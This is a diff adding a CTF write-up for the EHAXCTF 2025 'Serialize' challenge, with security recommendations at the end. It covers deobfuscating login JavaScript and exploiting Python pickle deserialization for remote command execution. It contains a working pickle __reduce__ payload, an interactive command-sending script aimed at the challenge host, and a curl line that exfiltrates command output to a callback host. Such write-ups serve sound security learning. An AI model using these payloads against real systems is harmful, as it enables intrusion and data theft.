|
| 1 | +--- |
| 2 | +title: EHAXCTF 2025 |
| 3 | +date: 2025-02-18 |
| 4 | +draft: false |
| 5 | +tags: |
| 6 | + - ctf |
| 7 | + - learning |
| 8 | +categories: |
| 9 | + - ctf |
| 10 | +keywords: |
| 11 | + - ctf |
| 12 | + - learning |
| 13 | +--- |
| 14 | +# Serialize Challenge Walkthrough |
| 15 | + |
| 16 | +## Challenge |
| 17 | + |
| 18 | + |
| 19 | + |
| 20 | +The challenge tests the following skills: |
| 21 | +- JavaScript deobfuscation and analysis |
| 22 | +- Python pickle deserialization exploitation |
| 23 | +- Command injection techniques |
| 24 | +- Data exfiltration methods |
| 25 | + |
| 26 | +Required background knowledge includes: |
| 27 | +- JavaScript debugging |
| 28 | +- Python pickle serialization |
| 29 | +- Command injection techniques |
| 30 | +- Web request manipulation |
| 31 | + |
| 32 | +## Initial Analysis |
| 33 | + |
| 34 | +The challenge presents a login page with client-side JavaScript validation. Inspection of the source code reveals heavily obfuscated JavaScript: |
| 35 | + |
| 36 | +```html |
| 37 | +<body> |
| 38 | + <form class="login-form"> |
| 39 | + <h2>Login to get flag</h2> |
| 40 | + <input type="text" id="username" placeholder="Enter your username" required> |
| 41 | + <input type="password" id="password" placeholder="Enter your password" required> |
| 42 | + <button type="submit">Login</button> |
| 43 | + </form> |
| 44 | + |
| 45 | + <script>[][(![]+[])[+[]]... redacted |
| 46 | +``` |
| 47 | +The full HTML source code is available in [this gist](https://gist.github.com/jsnv-dev/fdf50b45b97ffa8f0083adfda7d11429) |
| 48 | +
|
| 49 | +Browser developer tools debugging reveals an anonymous function containing authentication logic: |
| 50 | +
|
| 51 | +```js |
| 52 | +function anonymous() { |
| 53 | + return 'const _0x3645b3=_0x4842;function _0x4842(_0x19d358,_0x49968c){const _0x2ad82b=_0x2ad8();return _0x4842=function(_0x484299,_0x4da982){_0x484299=_0x484299-0x1f1;let _0x4c8636=_0x2ad82b[_0x484299];return _0x4c8636;},_0x4842(_0x19d358,_0x49968c);}(function(_0x4ff4ae,_0x561f72){const _0x2b38fa=_0x4842,_0x2d072e=_0x4ff4ae();while(!![]){try{const _0x20be76=parseInt(_0x2b38fa(0x1f5))/0x1+-parseInt(_0x2b38fa(0x206))/0x2*(parseInt(_0x2b38fa(0x205))/0x3)+parseInt(_0x2b38fa(0x202))/0x4+-parseInt(_0x2b38fa(0x1ff))/0x5+-parseInt(_0x2b38fa(0x1fd))/0x6*(parseInt(_0x2b38fa(0x201))/0x7)+-parseInt(_0x2b38fa(0x1f2))/0x8+parseInt(_0x2b38fa(0x1fa))/0x9*(parseInt(_0x2b38fa(0x1f9))/0xa);if(_0x20be76===_0x561f72)break;else _0x2d072e[\'push\'](_0x2d072e[\'shift\']());}catch(_0x1a16c9){_0x2d072e[\'push\'](_0x2d072e[\'shift\']());}}}(_0x2ad8,0xbdbb4));const form=document[_0x3645b3(0x1fe)](_0x3645b3(0x200));async function submitForm(_0x361a11){const _0xbae53f=_0x3645b3,_0x261004=await fetch(_0xbae53f(0x203),{\'method\':\'POST\',\'body\':JSON[_0xbae53f(0x208)](_0x361a11),\'headers\':{\'Content-Type\':_0xbae53f(0x1f4)}});window[_0xbae53f(0x1f7)]=\'/welcome.png\';}form[_0x3645b3(0x1f8)](_0x3645b3(0x1f6),_0x3f6721=>{const _0x43e2d2=_0x3645b3;_0x3f6721[_0x43e2d2(0x1f1)]();const _0x451641=document[_0x43e2d2(0x204)](_0x43e2d2(0x1fc)),_0x12fab0=document[\'getElementById\'](_0x43e2d2(0x207));_0x451641[_0x43e2d2(0x1fb)]==\'dreky\'&&_0x12fab0[\'value\']==\'ohyeahboiiiahhuhh\'?submitForm({\'user\':_0x451641[\'value\'],\'pass\':_0x12fab0[_0x43e2d2(0x1fb)]}):alert(_0x43e2d2(0x1f3));});function _0x2ad8(){const _0x5aa71f=[\'2115056nOLZur\',\'Invalid\\x20username\\x20or\\x20password\',\'application/json\',\'206204rQEQbe\',\'submit\',\'location\',\'addEventListener\',\'4252550HZZkfV\',\'18etmbIj\',\'value\',\'username\',\'43194hBWQRV\',\'querySelector\',\'5935145KtOSgP\',\'.login-form\',\'238aTVShg\',\'6015272rbWZkU\',\'/login\',\'getElementById\',\'15cVIXSQ\',\'34886FmgdQH\',\'password\',\'stringify\',\'preventDefault\'];_0x2ad8=function(){return _0x5aa71f;};return _0x2ad8();}' |
| 54 | +``` |
| 55 | +
|
| 56 | +Deobfuscated JavaScript revealing credentials and login endpoint: |
| 57 | +
|
| 58 | +```js |
| 59 | +const form = document.querySelector('.login-form'); |
| 60 | +
|
| 61 | +// Main form submission handler |
| 62 | +form.addEventListener('submit', (e) => { |
| 63 | + e.preventDefault(); |
| 64 | + const username = document.getElementById('username'); |
| 65 | + const password = document.getElementById('password'); |
| 66 | +
|
| 67 | + // Client-side credential check |
| 68 | + if (username.value == 'dreky' && password.value == 'ohyeahboiiiahhuhh') { |
| 69 | + submitForm({ |
| 70 | + 'user': username.value, |
| 71 | + 'pass': password.value |
| 72 | + }); |
| 73 | + } else { |
| 74 | + alert('Invalid username or password'); |
| 75 | + } |
| 76 | +}); |
| 77 | +
|
| 78 | +// Submit function that sends credentials to server |
| 79 | +async function submitForm(credentials) { |
| 80 | + const response = await fetch('/login', { |
| 81 | + 'method': 'POST', |
| 82 | + 'body': JSON.stringify(credentials), |
| 83 | + 'headers': { |
| 84 | + 'Content-Type': 'application/json' |
| 85 | + } |
| 86 | + }); |
| 87 | + window.location = '/welcome.png'; |
| 88 | +} |
| 89 | +``` |
| 90 | +
|
| 91 | +Discovered credentials: |
| 92 | +- Username: `dreky` |
| 93 | +- Password: `ohyeahboiiiahhuhh` |
| 94 | +
|
| 95 | +## Technical Deep Dive |
| 96 | +
|
| 97 | +A POST request to the `/login` endpoint using the discovered credentials yields: |
| 98 | +
|
| 99 | + |
| 100 | +
|
| 101 | +The response redirects to a new page: |
| 102 | +
|
| 103 | + |
| 104 | +
|
| 105 | +Source code reveals a CSS file reference: |
| 106 | +
|
| 107 | + |
| 108 | +
|
| 109 | +The CSS file contents expose additional information: |
| 110 | +
|
| 111 | + |
| 112 | +
|
| 113 | +The discovered endpoint `/t0p_s3cr3t_p4g3_7_7` returns a response with an interesting header: |
| 114 | +
|
| 115 | + |
| 116 | +
|
| 117 | +Using CyberChef of the token reveals like a Python pickle serialization. The structure suggests it's trying to call `posix.system('dreky')`: |
| 118 | +
|
| 119 | + |
| 120 | +
|
| 121 | +## Solution |
| 122 | +
|
| 123 | +Analysis of the X-Serial-Token reveals Python pickle serialization. Python's pickle module serializes Python objects into a byte stream for storage or transmission. However, pickle deserialization executes code during object reconstruction, making it dangerous when processing untrusted data. |
| 124 | +
|
| 125 | +The original token decoded shows: |
| 126 | +```python |
| 127 | +{ |
| 128 | + 'posix': 'system', |
| 129 | + 'command': 'dreky' |
| 130 | +} |
| 131 | +``` |
| 132 | +
|
| 133 | +This structure indicates the server deserializes the token and executes system commands. The vulnerability lies in pickle's `__reduce__` method, which allows arbitrary code execution during deserialization. A malicious payload can be crafted: |
| 134 | +
|
| 135 | +```python |
| 136 | +import pickle |
| 137 | +import base64 |
| 138 | +import posix |
| 139 | +
|
| 140 | +class Evil: |
| 141 | + def __reduce__(self): |
| 142 | + # Returns a tuple of (callable, args) that pickle uses for reconstruction |
| 143 | + # When deserialized, it executes: posix.system(command) |
| 144 | + return (posix.system, ('cat flag.txt',)) |
| 145 | +
|
| 146 | +payload = pickle.dumps(Evil()) |
| 147 | +print(base64.b64encode(payload).decode()) |
| 148 | +``` |
| 149 | +
|
| 150 | +Sending the modified token with `cat flag.txt` reveals different response codes in the `h1` tag, indicating command execution success or failure: |
| 151 | +
|
| 152 | + |
| 153 | +
|
| 154 | +To streamline the exploitation process, a custom Python console script automates payload generation and request handling: |
| 155 | +
|
| 156 | +```python |
| 157 | +import pickle |
| 158 | +import base64 |
| 159 | +import posix |
| 160 | +import requests |
| 161 | +from bs4 import BeautifulSoup |
| 162 | +import readline |
| 163 | +
|
| 164 | +class Evil: |
| 165 | + def __reduce__(self): |
| 166 | + return (posix.system, (cmd,)) |
| 167 | +
|
| 168 | +def create_payload(command): |
| 169 | + global cmd # Use global to make cmd accessible in Evil class |
| 170 | + cmd = command |
| 171 | + return base64.b64encode(pickle.dumps(Evil())).decode() |
| 172 | +
|
| 173 | +def parse_response(html): |
| 174 | + soup = BeautifulSoup(html, 'html.parser') |
| 175 | + # Find result in h1 tag |
| 176 | + result = soup.find('h1') |
| 177 | + if result: |
| 178 | + return result.text |
| 179 | + return "No result found" |
| 180 | +
|
| 181 | +def send_request(token): |
| 182 | + url = "http://chall.ehax.tech:8008/t0p_s3cr3t_p4g3_7_7" |
| 183 | + headers = { |
| 184 | + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0', |
| 185 | + 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', |
| 186 | + 'X-Serial-Token': token |
| 187 | + } |
| 188 | +
|
| 189 | + try: |
| 190 | + response = requests.get(url, headers=headers) |
| 191 | + return response.text |
| 192 | + except requests.RequestException as e: |
| 193 | + return f"Error making request: {str(e)}" |
| 194 | +
|
| 195 | +def main(): |
| 196 | + print("-" * 50) |
| 197 | +
|
| 198 | + while True: |
| 199 | + try: |
| 200 | + command = input("Command > ").strip() |
| 201 | +
|
| 202 | + if command.lower() == 'exit': |
| 203 | + break |
| 204 | +
|
| 205 | + if not command: |
| 206 | + continue |
| 207 | +
|
| 208 | + # Create payload |
| 209 | + token = create_payload(command) |
| 210 | + print(f"\nGenerated Token: {token}") |
| 211 | +
|
| 212 | + # Send request and get response |
| 213 | + response = send_request(token) |
| 214 | +
|
| 215 | + # Parse and display result |
| 216 | + result = parse_response(response) |
| 217 | + print(f"Result: {result}\n") |
| 218 | +
|
| 219 | + except KeyboardInterrupt: |
| 220 | + print("\nExiting...") |
| 221 | + break |
| 222 | + except Exception as e: |
| 223 | + print(f"Error: {str(e)}\n") |
| 224 | +
|
| 225 | +if __name__ == "__main__": |
| 226 | + main() |
| 227 | +``` |
| 228 | +
|
| 229 | + |
| 230 | +
|
| 231 | +Command execution verification requires output exfiltration since responses only show exit codes. Using an HTTP callback service captures command output: |
| 232 | +
|
| 233 | +```python |
| 234 | +# Exfiltration payload |
| 235 | +cmd = f'cmd=`{command}` && curl "https://callback.domain/?=$(cmd)"' |
| 236 | +``` |
| 237 | +
|
| 238 | +The callback listener demonstrates successful command execution: |
| 239 | +
|
| 240 | + |
| 241 | +
|
| 242 | + |
| 243 | +
|
| 244 | +This exploitation method combines deserialization vulnerability with command injection and data exfiltration techniques. The pickle vulnerability provides initial code execution, while DNS/HTTP callbacks bypass output restrictions. |
| 245 | +## Successful Exploitation |
| 246 | +
|
| 247 | +The first flag part (`oh_h3l1_`) enables targeted file searching. A grep command reveals the complete flag: |
| 248 | +
|
| 249 | + |
| 250 | +
|
| 251 | +Final flag: `E4HX{oh_h3l1_n44www_y0u_8r0k3_5th_w4l1}` |
| 252 | +
|
| 253 | +## Security Implications |
| 254 | +
|
| 255 | +This challenge demonstrates critical vulnerability patterns: |
| 256 | +1. Client-side only authentication |
| 257 | +2. Unsafe deserialization of user-controlled data |
| 258 | +3. Command injection leading to RCE |
| 259 | +4. Data exfiltration via DNS/HTTP requests |
| 260 | +## Security Recommendations |
| 261 | +- Server-side authentication implementation |
| 262 | +- Avoiding pickle deserialization of untrusted data |
| 263 | +- Input validation and sanitization |
0 commit comments